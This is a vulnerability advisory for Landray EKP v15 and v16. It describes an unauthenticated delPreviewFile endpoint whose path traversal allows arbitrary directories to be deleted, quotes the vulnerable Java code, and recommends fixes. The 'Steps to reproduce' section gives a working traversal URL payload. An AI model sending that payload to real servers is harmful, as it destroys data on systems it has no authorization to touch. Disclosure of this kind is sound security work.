Description

Landray EKP web application has an unauthorized api: http://{pre_url}/sys/ui/sys_ui_component/sysUiComponent.do?method=delPreviewFile, which has an arbitrary directory deletion vulnerability

Impact

EKP v16, v15

Vulnerability Analysis

The logic of the /sys/ui/sys_ui_component/sysUiComponent.do?method=delPreviewFile interface allows you to delete directories.

```
public ActionForward delPreviewFile(ActionMapping mapping, ActionForm form, HttpServletRequest request, HttpServletResponse response) throws Exception {
    try {
        String directoryPath = request.getParameter("directoryPath");
        if (StringUtil.isNotNull(directoryPath)) {
            File appThemeFolder = new File(getAppFolder(directoryPath));
            if (appThemeFolder.exists() && appThemeFolder.isDirectory()) {
                FileUtil.deleteDir(appThemeFolder);
                return null;
            }
            return null;
        }
        return null;
    } catch (Exception e) {
        this.logger.error("删除预览留下的文件异常", (Throwable) e);
        return null;
    }
}
```

The current web path, FOLDER and directoryPath are concatenated.

```
private String getAppFolder(String extendId) {
    return String.valueOf(ConfigLocationsUtil.getWebContentPath()) + "/" + FOLDER + "/" + extendId;
}
```

```
/* loaded from: lib.zip:lib/kmss_sys_ui.jar:com/landray/kmss/sys/ui/actions/SysUiComponentAction.class */
public class SysUiComponentAction extends ExtendAction {
    private Logger logger = LoggerFactory.getLogger(getClass());
    private static final String FOLDER = "resource/ui-component";
    public static final String SYSPORTALUI = "/sys/portal/template/ui_component/";
    private SysUiComponentService sysUiComponentService;
```

Steps to reproduce

1. No user login is required. Replace del_dir with the directory you want to delete and enter it in the browser.
http://{pre_url}/sys/ui/sys_ui_component/sysUiComponent.do?method=delPreviewFile&directoryPath=../{del_dir}

If you want to reproduce the test, you can create a new directory under the {web_root}/resource/ directory to delete this directory to avoid affecting normal functions.

Restoration suggestions

1. The request parameters must not contain directory traversal symbols, '..'
2. After the path is standardized, set a whitelist of directories that can be deleted.